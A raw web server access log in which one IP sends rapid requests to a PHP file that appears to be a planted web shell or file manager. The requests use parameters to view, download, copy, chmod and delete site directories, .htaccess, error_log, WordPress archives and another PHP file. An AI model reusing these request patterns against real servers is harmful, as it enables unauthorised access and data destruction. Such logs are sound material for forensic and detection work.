45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17507 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12261 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 17601 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 21542 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12259 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?p= HTTP/1.1" 200 21625 "https://163.245.207.76/big-wife.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21153 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 17368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12237 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 21811 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12534 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 21789 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 21791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 21793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 13826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11438 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 21791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12259 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17911 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?p= HTTP/1.1" 200 21791 "https://163.245.207.76/big-wife.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 21791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 21779 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:06 -0400] "GET /big-wife.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 21791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 21791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12258 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12270 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17518 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16549 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46359 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 21791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 21826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:07 -0400] "GET /big-wife.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p= HTTP/1.1" 200 21791 "https://163.245.207.76/big-wife.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 21791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12249 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 200 11766 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 21791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 12250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 21789 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 21792 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 21825 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 200 11766 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17710 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 21820 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11919 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p= HTTP/1.1" 200 21840 "https://163.245.207.76/big-wife.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 12566 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
